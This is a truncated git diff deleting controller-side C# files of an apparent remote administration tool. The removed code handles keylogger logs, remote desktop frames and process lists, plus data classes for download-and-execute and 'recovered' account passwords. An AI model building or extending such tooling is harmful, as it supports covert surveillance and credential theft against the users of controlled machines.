client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution); - - if (client.Value.StreamCodec.ImageQuality != packet.Quality || client.Value.StreamCodec.Monitor != packet.Monitor - || client.Value.StreamCodec.Resolution != packet.Resolution) - { - if (client.Value.StreamCodec != null) - client.Value.StreamCodec.Dispose(); - - client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution); - } - - using (MemoryStream ms = new MemoryStream(packet.Image)) - { - client.Value.FrmRdp.UpdateImage(client.Value.StreamCodec.DecodeData(ms), true); - } - - packet.Image = null; - - if (client.Value != null && client.Value.FrmRdp != null && client.Value.FrmRdp.IsStarted) - new GetDesktop(packet.Quality, packet.Monitor).Execute(client); - } - - public static void HandleGetProcessesResponse(Client client, GetProcessesResponse packet) - { - if (client.Value == null || client.Value.FrmTm == null) - return; - - client.Value.FrmTm.ClearListviewItems(); - - // None of the arrays containing the process' information can be null. - // The must also be the exact same length because each entry in the three - // different arrays represents one process. - if (packet.Processes == null || packet.IDs == null || packet.Titles == null || - packet.Processes.Length != packet.IDs.Length || packet.Processes.Length != packet.Titles.Length) - return; - - new Thread(() => - { - if (client.Value != null && client.Value.FrmTm != null) - client.Value.FrmTm.SetProcessesCount(packet.Processes.Length); - - for (int i = 0; i < packet.Processes.Length; i++) - { - if (packet.IDs[i] == 0 || packet.Processes[i] == "System.exe") - continue; - - if (client.Value == null || client.Value.FrmTm == null) - break; - - client.Value.FrmTm.AddProcessToListview(packet.Processes[i], packet.IDs[i], packet.Titles[i]); - } - }).Start(); - } - - public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet) - { - if (client.Value == null || client.Value.FrmKl == null) - return; - - if (packet.FileCount == 0) - { - client.Value.FrmKl.SetGetLogsEnabled(true); - return; - } - - if (string.IsNullOrEmpty(packet.Filename)) - return; - - string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); - - if (!Directory.Exists(downloadPath)) - Directory.CreateDirectory(downloadPath); - - downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); - - FileSplit destFile = new FileSplit(downloadPath); - - destFile.AppendBlock(packet.Block, packet.CurrentBlock); - - if ((packet.CurrentBlock + 1) == packet.MaxBlocks) - { - try - { - File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath)); - } - catch - { - } - - if (packet.Index == packet.FileCount) - { - FileInfo[] iFiles = - new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); - - if (iFiles.Length == 0) - return; - - foreach (FileInfo file in iFiles) - { - if (client.Value == null || client.Value.FrmKl == null) - break; - - client.Value.FrmKl.AddLogToListview(file.Name); - } - - if (client.Value == null || client.Value.FrmKl == null) - return; - - client.Value.FrmKl.SetGetLogsEnabled(true); - } - } - } - - public static void HandleGetMonitorsResponse(Client client, GetMonitorsResponse packet) - { - if (client.Value == null || client.Value.FrmRdp == null) - return; - - client.Value.FrmRdp.AddMonitors(packet.Number); - } - } -} \ No newline at end of file diff --git a/Server/Core/Commands/SystemHandler.cs b/Server/Core/Commands/SystemHandler.cs deleted file mode 100644 index 4332b9f14..000000000 --- a/Server/Core/Commands/SystemHandler.cs +++ /dev/null @@ -1,153 +0,0 @@ -using System; -using System.IO; -using System.Text; -using System.Threading; -using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Packets.ClientPackets; -using xServer.Enums; -using xServer.Forms; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */ - public static partial class CommandHandler - { - public static void HandleGetDrivesResponse(Client client, GetDrivesResponse packet) - { - if (client.Value == null || client.Value.FrmFm == null || packet.DriveDisplayName == null || packet.RootDirectory == null) - return; - - if (packet.DriveDisplayName.Length != packet.RootDirectory.Length) return; - - RemoteDrive[] drives = new RemoteDrive[packet.DriveDisplayName.Length]; - for (int i = 0; i < packet.DriveDisplayName.Length; i++) - { - drives[i] = new RemoteDrive(packet.DriveDisplayName[i], packet.RootDirectory[i]); - } - - if (client.Value != null && client.Value.FrmFm != null) - { - client.Value.FrmFm.AddDrives(drives); - client.Value.FrmFm.SetStatus("Ready"); - } - } - - public static void HandleGetDirectoryResponse(Client client, GetDirectoryResponse packet) - { - if (client.Value == null || client.Value.FrmFm == null) - return; - - new Thread(() => - { - if (client.Value.ProcessingDirectory) return; - client.Value.ProcessingDirectory = true; - - client.Value.FrmFm.ClearFileBrowser(); - client.Value.FrmFm.AddItemToFileBrowser("..", "", PathType.Back, 0); - - if (packet.Folders != null && packet.Folders.Length != 0 && client.Value.ProcessingDirectory) - { - for (int i = 0; i < packet.Folders.Length; i++) - { - if (packet.Folders[i] != DELIMITER) - { - if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory) - break; - - client.Value.FrmFm.AddItemToFileBrowser(packet.Folders[i], "", PathType.Directory, 1); - } - } - } - - if (packet.Files != null && packet.Files.Length != 0 && client.Value.ProcessingDirectory) - { - for (int i = 0; i < packet.Files.Length; i++) - { - if (packet.Files[i] != DELIMITER) - { - if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory) - break; - - client.Value.FrmFm.AddItemToFileBrowser(packet.Files[i], - FileHelper.GetDataSize(packet.FilesSize[i]), PathType.File, - FileHelper.GetFileIcon(Path.GetExtension(packet.Files[i]))); - } - } - } - - if (client.Value != null) - { - client.Value.ReceivedLastDirectory = true; - client.Value.ProcessingDirectory = false; - if (client.Value.FrmFm != null) - client.Value.FrmFm.SetStatus("Ready"); - } - }).Start(); - } - - public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoResponse packet) - { - if (packet.SystemInfos == null) - return; - - if (Settings.ShowToolTip) - { - var builder = new StringBuilder(); - for (int i = 0; i < packet.SystemInfos.Length; i += 2) - { - if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) - { - builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]); - } - } - - FrmMain.Instance.SetToolTipText(client, builder.ToString()); - } - - if (client.Value == null || client.Value.FrmSi == null) - return; - - ListViewItem[] lviCollection = new ListViewItem[packet.SystemInfos.Length / 2]; - for (int i = 0, j = 0; i < packet.SystemInfos.Length; i += 2, j++) - { - if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) - { - lviCollection[j] = new ListViewItem(new string[] { packet.SystemInfos[i], packet.SystemInfos[i + 1] }); - } - } - - if (client.Value != null && client.Value.FrmSi != null) - client.Value.FrmSi.AddItems(lviCollection); - } - - public static void HandleGetStartupItemsResponse(Client client, GetStartupItemsResponse packet) - { - if (client.Value == null || client.Value.FrmStm == null || packet.StartupItems == null) - return; - - foreach (var item in packet.StartupItems) - { - if (client.Value == null || client.Value.FrmStm == null) return; - - int type; - if (!int.TryParse(item.Substring(0, 1), out type)) continue; - - string preparedItem = item.Remove(0, 1); - var temp = preparedItem.Split(new string[] { "||" }, StringSplitOptions.None); - var l = new ListViewItem(temp) - { - Group = client.Value.FrmStm.GetGroup(type), - Tag = type - }; - - if (l.Group == null) - return; - - client.Value.FrmStm.AddAutostartItemToListview(l); - } - } - } -} \ No newline at end of file diff --git a/Server/Core/Compression/JpgCompression.cs b/Server/Core/Compression/JpgCompression.cs deleted file mode 100644 index 947ac8e04..000000000 --- a/Server/Core/Compression/JpgCompression.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; - -namespace xServer.Core.Compression -{ - public class JpgCompression : IDisposable - { - private readonly ImageCodecInfo _encoderInfo; - private readonly EncoderParameters _encoderParams; - - public JpgCompression(long quality) - { - EncoderParameter parameter = new EncoderParameter(Encoder.Quality, quality); - this._encoderInfo = GetEncoderInfo("image/jpeg"); - this._encoderParams = new EncoderParameters(2); - this._encoderParams.Param[0] = parameter; - this._encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) EncoderValue.CompressionRle); - } - - public void Dispose() - { - Dispose(true); - - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - if (disposing) - { - if (_encoderParams != null) - { - try - { - _encoderParams.Dispose(); - } - catch { } - } - } - } - - public byte[] Compress(Bitmap bmp) - { - using (MemoryStream stream = new MemoryStream()) - { - bmp.Save(stream, _encoderInfo, _encoderParams); - return stream.ToArray(); - } - } - - public void Compress(Bitmap bmp, ref Stream targetStream) - { - bmp.Save(targetStream, _encoderInfo, _encoderParams); - } - - private ImageCodecInfo GetEncoderInfo(string mimeType) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - int num2 = imageEncoders.Length - 1; - for (int i = 0; i <= num2; i++) - { - if (imageEncoders[i].MimeType == mimeType) - { - return imageEncoders[i]; - } - } - return null; - } - } -} \ No newline at end of file diff --git a/Server/Core/Compression/SafeQuickLZ.cs b/Server/Core/Compression/SafeQuickLZ.cs deleted file mode 100644 index f4b8a48c8..000000000 --- a/Server/Core/Compression/SafeQuickLZ.cs +++ /dev/null @@ -1,513 +0,0 @@ -using System; - -#pragma warning disable 0675 - -namespace xServer.Core.Compression -{ - // QuickLZ data compression library - // Copyright (C) 2006-2011 Lasse Mikkel Reinhold - // lar@quicklz.com - // - // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything - // released into public must be open source) or under a commercial license if such - // has been acquired (see http://www.quicklz.com/order.html). The commercial license - // does not cover derived or ported versions created by third parties under GPL. - // - // Only a subset of the C library has been ported, namely level 1 and 3 not in - // streaming mode. - // - // Version: 1.5.0 final - - public static class SafeQuickLZ - { - public const int QLZ_VERSION_MAJOR = 1; - public const int QLZ_VERSION_MINOR = 5; - public const int QLZ_VERSION_REVISION = 0; - - // Streaming mode not supported - public const int QLZ_STREAMING_BUFFER = 0; - - // Bounds checking not supported Use try...catch instead - public const int QLZ_MEMORY_SAFE = 0; - - // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! - private const int HASH_VALUES = 4096; - private const int MINOFFSET = 2; - private const int UNCONDITIONAL_MATCHLEN = 6; - private const int UNCOMPRESSED_END = 4; - private const int CWORD_LEN = 4; - private const int DEFAULT_HEADERLEN = 9; - private const int QLZ_POINTERS_1 = 1; - private const int QLZ_POINTERS_3 = 16; - - private static int HeaderLength(byte[] source) - { - return ((source[0] & 2) == 2) ? 9 : 3; - } - - public static int SizeDecompressed(byte[] source) - { - if (HeaderLength(source) == 9) - return source[5] | (source[6] << 8) | (source[7] << 16) | (source[8] << 24); - else - return source[2]; - } - - public static int SizeCompressed(byte[] source) - { - if (HeaderLength(source) == 9) - return source[1] | (source[2] << 8) | (source[3] << 16) | (source[4] << 24); - else - return source[1]; - } - - private static void WriteHeader(byte[] dst, int level, bool compressible, int sizeCompressed, - int sizeDecompressed) - { - dst[0] = (byte)(2 | (compressible ? 1 : 0)); - dst[0] |= (byte)(level << 2); - dst[0] |= (1 << 6); - dst[0] |= (0 << 4); - FastWrite(dst, 1, sizeDecompressed, 4); - FastWrite(dst, 5, sizeCompressed, 4); - } - - public static byte[] Compress(byte[] source, int level = 3) - { - if (source.Length == 0) - return new byte[0]; - - int[,] hashtable; - - switch (level) - { - case 1: - hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; - break; - case 3: - hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; - break; - default: - throw new ArgumentException("C# version only supports level 1 and 3"); - } - - int src = 0; - int dst = DEFAULT_HEADERLEN + CWORD_LEN; - uint cword_val = 0x80000000; - int cword_ptr = DEFAULT_HEADERLEN; - byte[] destination = new byte[source.Length + 400]; - int[] cachetable = new int[HASH_VALUES]; - byte[] hash_counter = new byte[HASH_VALUES]; - byte[] d2; - int fetch = 0; - int last_matchstart = (source.Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); - int lits = 0; - - if (src <= last_matchstart) - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - while (src <= last_matchstart) - { - if ((cword_val & 1) == 1) - { - if (src > source.Length >> 1 && dst > src - (src >> 5)) - { - d2 = new byte[source.Length + DEFAULT_HEADERLEN]; - WriteHeader(d2, level, false, source.Length, source.Length + DEFAULT_HEADERLEN); - Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, source.Length); - return d2; - } - - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - if (level == 1) - { - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - int o = hashtable[hash, 0]; - int cache = cachetable[hash] ^ fetch; - cachetable[hash] = fetch; - hashtable[hash, 0] = src; - - if (cache == 0 && hash_counter[hash] != 0 && - (src - o > MINOFFSET || - (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && - source[src] == source[src - 2] && source[src] == source[src - 1] && - source[src] == source[src + 1] && source[src] == source[src + 2]))) - { - cword_val = ((cword_val >> 1) | 0x80000000); - if (source[o + 3] != source[src + 3]) - { - int f = 3 - 2 | (hash << 4); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - src += 3; - dst += 2; - } - else - { - int old_src = src; - int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 - ? 255 - : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); - - src += 4; - if (source[o + src - old_src] == source[src]) - { - src++; - if (source[o + src - old_src] == source[src]) - { - src++; - while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) - src++; - } - } - - int matchlen = src - old_src; - - hash <<= 4; - if (matchlen < 18) - { - int f = (hash | (matchlen - 2)); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - dst += 2; - } - else - { - FastWrite(destination, dst, hash | (matchlen << 16), 3); - dst += 3; - } - } - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - lits = 0; - } - else - { - lits++; - hash_counter[hash] = 1; - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); - } - - } - else - { - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - int o, offset2; - int matchlen, k, m, best_k = 0; - byte c; - int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 - ? 255 - : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - - c = hash_counter[hash]; - matchlen = 0; - offset2 = 0; - for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) - { - o = hashtable[hash, k]; - if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && - (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) - { - m = 3; - while (source[o + m] == source[src + m] && m < remaining) - m++; - if ((m > matchlen) || (m == matchlen && o > offset2)) - { - offset2 = o; - matchlen = m; - best_k = k; - } - } - } - o = offset2; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; - c++; - hash_counter[hash] = c; - - if (matchlen >= 3 && src - o < 131071) - { - int offset = src - o; - - for (int u = 1; u < matchlen; u++) - { - fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); - hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - c = hash_counter[hash]++; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; - } - - src += matchlen; - cword_val = ((cword_val >> 1) | 0x80000000); - - if (matchlen == 3 && offset <= 63) - { - FastWrite(destination, dst, offset << 2, 1); - dst++; - } - else if (matchlen == 3 && offset <= 16383) - { - FastWrite(destination, dst, (offset << 2) | 1, 2); - dst += 2; - } - else if (matchlen <= 18 && offset <= 1023) - { - FastWrite(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); - dst += 2; - } - else if (matchlen <= 33) - { - FastWrite(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); - dst += 3; - } - else - { - FastWrite(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); - dst += 4; - } - lits = 0; - } - else - { - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - } - } - } - while (src <= source.Length - 1) - { - if ((cword_val & 1) == 1) - { - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - src++; - dst++; - cword_val = (cword_val >> 1); - } - while ((cword_val & 1) != 1) - { - cword_val = (cword_val >> 1); - } - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); - WriteHeader(destination, level, true, source.Length, dst); - d2 = new byte[dst]; - Array.Copy(destination, d2, dst); - return d2; - } - - - private static void FastWrite(byte[] a, int i, int value, int numbytes) - { - for (int j = 0; j < numbytes; j++) - a[i + j] = (byte)(value >> (j * 8)); - } - - public static byte[] Decompress(byte[] source) - { - if (source.Length == 0) - return new byte[0]; - - int level = (source[0] >> 2) & 0x3; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - int size = SizeDecompressed(source); - int src = HeaderLength(source); - int dst = 0; - uint cword_val = 1; - byte[] destination = new byte[size]; - int[] hashtable = new int[4096]; - byte[] hash_counter = new byte[4096]; - int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; - int last_hashed = -1; - int hash; - uint fetch = 0; - - if ((source[0] & 1) != 1) - { - byte[] d2 = new byte[size]; - Array.Copy(source, HeaderLength(source), d2, 0, size); - return d2; - } - - for (; ; ) - { - if (cword_val == 1) - { - cword_val = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - src += 4; - if (dst <= last_matchstart) - { - if (level == 1) - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - else - fetch = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | - (source[src + 3] << 24)); - } - } - - if ((cword_val & 1) == 1) - { - uint matchlen; - uint offset2; - - cword_val = cword_val >> 1; - - if (level == 1) - { - hash = ((int)fetch >> 4) & 0xfff; - offset2 = (uint)hashtable[hash]; - - if ((fetch & 0xf) != 0) - { - matchlen = (fetch & 0xf) + 2; - src += 2; - } - else - { - matchlen = source[src + 2]; - src += 3; - } - } - else - { - uint offset; - if ((fetch & 3) == 0) - { - offset = (fetch & 0xff) >> 2; - matchlen = 3; - src++; - } - else if ((fetch & 2) == 0) - { - offset = (fetch & 0xffff) >> 2; - matchlen = 3; - src += 2; - } - else if ((fetch & 1) == 0) - { - offset = (fetch & 0xffff) >> 6; - matchlen = ((fetch >> 2) & 15) + 3; - src += 2; - } - else if ((fetch & 127) != 3) - { - offset = (fetch >> 7) & 0x1ffff; - matchlen = ((fetch >> 2) & 0x1f) + 2; - src += 3; - } - else - { - offset = (fetch >> 15); - matchlen = ((fetch >> 7) & 255) + 3; - src += 4; - } - offset2 = (uint)(dst - offset); - } - - destination[dst + 0] = destination[offset2 + 0]; - destination[dst + 1] = destination[offset2 + 1]; - destination[dst + 2] = destination[offset2 + 2]; - - for (int i = 3; i < matchlen; i += 1) - { - destination[dst + i] = destination[offset2 + i]; - } - - dst += (int)matchlen; - - if (level == 1) - { - fetch = - (uint) - (destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | - (destination[last_hashed + 3] << 16)); - while (last_hashed < dst - matchlen) - { - last_hashed++; - hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); - } - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - } - else - { - fetch = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | - (source[src + 3] << 24)); - } - last_hashed = dst - 1; - } - else - { - if (dst <= last_matchstart) - { - destination[dst] = source[src]; - dst += 1; - src += 1; - cword_val = cword_val >> 1; - - if (level == 1) - { - while (last_hashed < dst - 3) - { - last_hashed++; - int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | - (destination[last_hashed + 2] << 16); - hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - } - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); - } - else - { - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); - } - } - else - { - while (dst <= size - 1) - { - if (cword_val == 1) - { - src += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - dst++; - src++; - cword_val = cword_val >> 1; - } - return destination; - } - } - } - } - } -} \ No newline at end of file diff --git a/Server/Core/Cryptography/AES.cs b/Server/Core/Cryptography/AES.cs deleted file mode 100644 index 67d0fcd69..000000000 --- a/Server/Core/Cryptography/AES.cs +++ /dev/null @@ -1,135 +0,0 @@ -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace xServer.Core.Cryptography -{ - // ReSharper disable once InconsistentNaming - public static class AES - { - private const int IVLENGTH = 16; - private static byte[] _defaultKey; - - public static void SetDefaultKey(string key) - { - using (var md5 = new MD5CryptoServiceProvider()) - { - _defaultKey = md5.ComputeHash(Encoding.UTF8.GetBytes(key)); - } - } - - public static string Encrypt(string input, string key) - { - return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input), Encoding.UTF8.GetBytes(key))); - } - - public static string Encrypt(string input) - { - return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); - } - - public static byte[] Encrypt(byte[] input) - { - if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); - if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); - - byte[] data = input, encdata = new byte[0]; - - try - { - using (var ms = new MemoryStream()) - { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) - { - aesProvider.GenerateIV(); - - using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) - { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message - cs.Write(data, 0, data.Length); - } - } - - encdata = ms.ToArray(); - } - } - catch - { - } - return encdata; - } - - public static byte[] Encrypt(byte[] input, byte[] key) - { - if (key == null || key.Length == 0) throw new Exception("Key can not be empty."); - - using (var md5 = new MD5CryptoServiceProvider()) - { - key = md5.ComputeHash(key); - } - - byte[] data = input, encdata = new byte[0]; - - try - { - using (var ms = new MemoryStream()) - { - using (var aesProvider = new AesCryptoServiceProvider() { Key = key }) - { - aesProvider.GenerateIV(); - - using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) - { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message - cs.Write(data, 0, data.Length); - } - } - - encdata = ms.ToArray(); - } - } - catch - { - } - return encdata; - } - - public static string Decrypt(string input) - { - return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input))); - } - - public static byte[] Decrypt(byte[] input) - { - if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); - if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); - - byte[] data = new byte[0]; - - try - { - using (var ms = new MemoryStream(input)) - { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) - { - byte[] iv = new byte[IVLENGTH]; - ms.Read(iv, 0, IVLENGTH); // read first 16 bytes for IV, followed by encrypted message - aesProvider.IV = iv; - - using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) - { - byte[] temp = new byte[ms.Length - IVLENGTH + 1]; - data = new byte[cs.Read(temp, 0, temp.Length)]; - Buffer.BlockCopy(temp, 0, data, 0, data.Length); - } - } - } - } - catch - { - } - return data; - } - } -} diff --git a/Server/Core/Data/AutostartItem.cs b/Server/Core/Data/AutostartItem.cs deleted file mode 100644 index 538e97875..000000000 --- a/Server/Core/Data/AutostartItem.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace xServer.Core.Data -{ - public static class AutostartItem - { - public static string Name { get; set; } - public static string Path { get; set; } - public static int Type { get; set; } - } -} diff --git a/Server/Core/Data/DownloadAndExecute.cs b/Server/Core/Data/DownloadAndExecute.cs deleted file mode 100644 index b339a6f69..000000000 --- a/Server/Core/Data/DownloadAndExecute.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace xServer.Core.Data -{ - public static class DownloadAndExecute - { - public static string URL { get; set; } - public static bool RunHidden { get; set; } - } -} diff --git a/Server/Core/Data/Messagebox.cs b/Server/Core/Data/Messagebox.cs deleted file mode 100644 index 866623320..000000000 --- a/Server/Core/Data/Messagebox.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace xServer.Core.Data -{ - public static class Messagebox - { - public static string Caption { get; set; } - public static string Text { get; set; } - public static string Button { get; set; } - public static string Icon { get; set; } - } -} diff --git a/Server/Core/Data/RecoveredAccount.cs b/Server/Core/Data/RecoveredAccount.cs deleted file mode 100644 index 582bafd3a..000000000 --- a/Server/Core/Data/RecoveredAccount.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace xServer.Core.Data -{ - public class RecoveredAccount - { - public string Username { get; set; } - public string Password { get; set; } - public string URL { get; set; } - public string Application { get; set; } - } -} diff --git a/Server/Core/Data/RemoteDrive.cs b/Server/Core/Data/RemoteDrive.cs deleted file mode 100644 index 708cf7d79..000000000 --- a/Server/Core/Data/RemoteDrive.cs +++ /dev/null @@ -1,15 +0,0 @@ -namespace xServer.Core.Data -{ - public class RemoteDrive - { - public string DisplayName { get; private set; } - - public string RootDirectory { get; private set; } - - public RemoteDrive(string displayName, string rootDirectory) - { - this.DisplayName = displayName; - this.RootDirectory = rootDirectory; - } - } -} diff --git a/Server/Core/Data/Update.cs b/Server/Core/Data/Update.cs deleted file mode 100644 index 16e0a8a6e..000000000 --- a/Server/Core/Data/Update.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace xServer.Core.Data -{ - public static class Update - { - public static bool UseDownload { get; set; } - public static string UploadPath { get; set; } - public static string DownloadURL { get; set; } - } -} diff --git a/Server/Core/Data/UploadAndExecute.cs b/Server/Core/Data/UploadAndExecute.cs deleted file mode 100644 index 339966bf0..000000000 --- a/Server/Core/Data/UploadAndExecute.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace xServer.Core.Data -{ - public static class UploadAndExecute - { - public static string FilePath { get; set; } - public static bool RunHidden { get; set; } - } -} diff --git a/Server/Core/Data/VisitWebsite.cs b/Server/Core/Data/VisitWebsite.cs deleted file mode 100644 index 644af44a0..000000000 --- a/Server/Core/Data/VisitWebsite.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace xServer.Core.Data -{ - public static class VisitWebsite - { - public static string URL { get; set; } - public static bool Hidden { get; set; } - } -} diff --git a/Server/Core/Helper/FileHelper.cs b/Server/Core/Helper/FileHelper.cs deleted file mode 100644 index 94bf334bb..000000000 --- a/Server/Core/Helper/FileHelper.cs +++ /dev/null @@ -1,133 +0,0 @@ -using System; -using System.IO; -using System.Linq; -using System.Text; -using xServer.Core.Cryptography; - -namespace xServer.Core.Helper -{ - public static class FileHelper - { - private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; - private static readonly Random _rnd = new Random(Environment.TickCount); - private static readonly string[] _sizes = { "B", "KB", "MB", "GB" }; - private static readonly char[] _illegalChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); - - public static bool CheckPathForIllegalChars(string path) - { - return path.Any(c => _illegalChars.Contains(c)); - } - - public static string GetRandomFilename(int length, string extension = "") - { - StringBuilder randomName = new StringBuilder(length); - for (int i = 0; i < length; i++) - randomName.Append(CHARS[_rnd.Next(CHARS.Length)]); - - return string.Concat(randomName.ToString(), extension); - } - - public static int GetNewTransferId(int o = 0) - { - return _rnd.Next(0, int.MaxValue) + o; - } - - public static string GetDataSize(long size) - { - double len = size; - int order = 0; - while (len >= 1024 && order + 1 < _sizes.Length) - { - order++; - len = len / 1024; - } - return string.Format("{0:0.##} {1}", len, _sizes[order]); - } - - public static int GetFileIcon(string extension) - { - if (string.IsNullOrEmpty(extension)) - return 2; - - switch (extension.ToLower()) - { - default: - return 2; - case ".exe": - return 3; - case ".txt": - case ".log": - case ".conf": - case ".cfg": - case ".asc": - return 4; - case ".rar": - case ".zip": - case ".zipx": - case ".tar": - case ".tgz": - case ".gz": - case ".s7z": - case ".7z": - case ".bz2": - case ".cab": - case ".zz": - case ".apk": - return 5; - case ".doc": - case ".docx": - case ".odt": - return 6; - case ".pdf": - return 7; - case ".jpg": - case ".jpeg": - case ".png": - case ".bmp": - case ".gif": - case ".ico": - return 8; - case ".mp4": - case ".mov": - case ".avi": - case ".wmv": - case ".mkv": - case ".m4v": - case ".flv": - return 9; - case ".mp3": - case ".wav": - case ".pls": - case ".m3u": - case ".m4a": - return 10; - } - } - - /// - /// Appends text to a log file. - /// - /// The filename of the log. - /// The text to append. - public static void WriteLogFile(string filename, string appendText) - { - appendText = ReadLogFile(filename) + appendText; - - using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) - { - byte[] data = AES.Encrypt(Encoding.UTF8.GetBytes(appendText)); - fStream.Seek(0, SeekOrigin.Begin); - 